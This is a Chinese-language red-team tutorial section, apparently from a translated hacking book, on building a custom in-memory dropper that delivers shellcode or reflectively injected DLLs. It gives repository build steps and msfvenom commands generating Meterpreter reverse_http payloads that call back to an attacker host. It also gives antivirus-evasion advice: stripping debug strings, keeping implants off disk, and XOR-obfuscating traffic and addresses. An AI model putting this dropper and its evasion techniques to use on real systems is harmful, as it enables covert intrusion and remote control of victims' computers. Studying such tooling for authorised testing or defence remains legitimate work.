7.3 黑客秘笈定制的放置工具
放置工具是红队工具包的重要组成部分,允许您在被攻击者计算机上植入程序。不在磁盘上放置植入程序是为了降低被发现的风险,并且可以使用多次。在本节中,我们将介绍一个黑客秘笈定制的放置工具,它可以植入 shellcode 或者是仅驻留在内存中的动态库。
在设计放置工具和相应的服务器时,您需要记住一些事项。放置工具是工具箱中阅后即焚(use-and-burn)的一个工具,这意味着您当前可以正常使用,但是在后续的行动中很可能被检测发现。
为了使后续行动更容易,您需要开发一个标准服务器,可以重复使用。在这个例子中,您将看到一个基本的网络实现框架,它允许为不同的消息注册新的处理程序。这个例子仅包含 LOAD_BLOB 消息类型的处理程序,您可以轻松添加新的处理程序,从而扩展功能。这就可以提供良好的基础,因为您的所有通信都实现了标准化。
编写放置工具程序或者快速找到目标并进行逆向工程,一个重要的步骤是过滤字符串。当您第一次构建软件时,调试消息非常有用,可以让您不必手动单步调试,查看出现问题的原因。但是,如果调试信息在最终版本中被意外地保留下来,那么软件分析人员将很容易逆向利用您的恶意软件。很多时候,杀毒软件将对独特的字符串或常量值进行签名。举个例子,我使用 InfoLog() 和 ErrorLog() 函数,预处理器将在发布版本中编译这些宏。使用这些宏,检查是否定义了_DEBUG,并指示是否包含相关的调用。
7.3.1 shellcode 与 DLL
在下面的例子中,您可以让放置工具加载完整的 DLL 或者 shellcode。通常有许多公开的植入工具,您可以生成一个完整的 DLL,实现 DLL 下载并且执行。放置工具直接加载 DLL,可以使您省略加载更多的 API 调用,从而保持隐蔽。由于头部信息被修改,因此某些植入工具可能无法正确加载。如果您的一个植入工具不能正常工作,但是包含生成 shellcode 的方法,那么这应该可以解决您的问题。这是因为定制的加载器,通常可以修复头部信息,并从该 DLL 加载头部信息。
网络中还有大量的 shellcode,如 shell-storm 这样的网站,保存大量的 shellcode,其中一些可能会在您后续的行动中派上用场。
7.3.2 运行服务器
构建服务器其实比较简单。在定制的黑客秘笈 kali 镜像中,您需要运行以下命令。
第一次编译。
- cd /opt/。
- sudo apt-get install build-essential libssl-dev cmake git。
- git clone https://github.com/cheetz/thpDropper.git。
- cd thpDropper/thpd。
- mkdir build。
- cd build。
- cmake ..。
- make。
对于后续编译,您需要进行的步骤如下。
- cd /opt/thpd/build。
- make。
运行服务器,在编译完成后,您需输入如下内容。
- ./thpd [path to shellcode/DLL] [loadtype]
表 7.1 为值所对应的当前适用的加载类型。
表 7.1
0 | shellcode | 发送原始 shellcode 字节到客户端 |
---|---|---|
1 | DLL | 发送正常 DLL 文件,客户端反射注入 DLL |
虽然静荷(shellcode/DLL)可以来自任何类型的命令和控制工具(Metasploit/Meterpreter、Cobalt Strike 等),但我们将在示例中使用 Meterpreter 静荷。生成静荷的步骤如下。
- shellcode 静荷。
- msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT= <PORT> EnableStageEncoding=True -f c
- 注意,您必须获取 msfvenom 输出,并得到原始 shellcode(删除引号、换行以及任何不是 shellcode 的内容)。
- 启动服务器:./thpd ./shellcode.txt 0
- DLL 静荷。
- msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT= <PORT> EnableStageEncoding=True -f dll > msf.dll
- 启动服务器:./thpd ./msf.dll 1
7.3.3 客户端
客户端与服务器的运行方式是相似的,其中客户端为每种消息类型注册处理程序。在启动时,客户端尝试回连服务器,如果无法连接或连接断开了,则重试n次,并发送消息要求加载模块。服务器使用 BLOB_PACKET 进行响应,客户端通过 head->msg 字段识别并分发该数据包。所有数据包必须在开始时定义 HEAD_PACKET 字段,否则网络处理程序将无法识别,从而丢弃数据包。使用 BuildPacketAndSend() 函数正确设置数据包头部,从而允许另一方解码数据包。
要构建客户端,您需要 Visual Studio 和 Git 工具。首先将 Git 存储库(https://github.com/cheetz/ thpDropper.git)复制到一个文件夹中,然后在 Visual Studio 中打开 thpDropper.sln。确保放置设备的代码设置了正确的体系结构,如果您不需要任何调试消息,那么可设置为发布版本。完成此操作后,按 F7 键,Visual Studio 将为用户生成可执行文件。
7.3.4 配置客户端和服务器
大多数客户端的配置都可以在 globals.cpp 文件中找到,您需要更改的 3 个主要配置是主机名、端口和数据包持续时间。每个配置选项旁边都有注释,说明配置项的内容。您不需要更改数据包签名,如果更改数据包签名,那么发送的每个数据包的前两个字节将被修改,用于标识这是服务器上的有效连接。如果您希望对 IP 地址和端口进行模糊处理,则可以编写代码,在访问 IP 地址和端口时,对数据进行解密,在二进制文件中仅存储加密版本。
在服务器端的 main.cpp 文件中,您可以修改服务器监听的端口。此配置是 main 函数中 StartupNetworking() 的唯一参数。如果您修改客户端中的数据包签名,则需要修改服务器对应该数据包。这意味着在 include/lib/networking.h 文件中,PACKET_SIGNATURE 值需要与客户端中的全局值匹配。
7.3.5 添加新的处理程序
网络代码库允许您轻松添加新功能。为此,您需要使用客户端的 void name() 原型函数或服务器上的 void name(int conn) 原型函数创建一个回调函数。对于各种消息类型,注册一系列的处理程序,在验证数据包头部时,这些处理程序将被调用。在这些函数中,您需要实现从 recv 缓冲区中读取数据包和数据。您需要调用 recv() 指针,处理数据包结构和大小。这将获取 recv 缓冲区相关信息。在这个例子中,您将看到我们在处理程序中读取 BLOB_PACKET,存储在 packet.payloadLen 中的值,表明读取的字节数。同样的方法适用于获取其他数据类型。如果将包含文件路径的字符串发送到被攻击者计算机上的某个文件,数据包中包含一个字段用于描述字符串的长度,该字段随数据包一同发送。
7.3.6 进一步的练习
上面的代码提供开发的基础,您可以通过多种方式自行改进。在传输层上添加加密层非常简单和方便。您可能希望创建自己的 send 和 recv 管理器,在调用 send 和 recv 函数之前解密/加密。一种非常简单的方法是使用多字节 XOR 密钥,虽然不是很安全,但是由于改变了您的消息内容,所以不容易被识别。另一个练习可能是扩展 LoadBlobHandler() 函数,添加新的 LOAD_TYPE,如果客户端以管理员身份运行,则会加载已签名的驱动程序。这可以通过使用 CreateService() 和 StartService()windows api 调用实现。但是需要记住,加载驱动程序需要文件存储在磁盘上,这将触发文件系统-过滤器驱动程序,捕获该操作。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论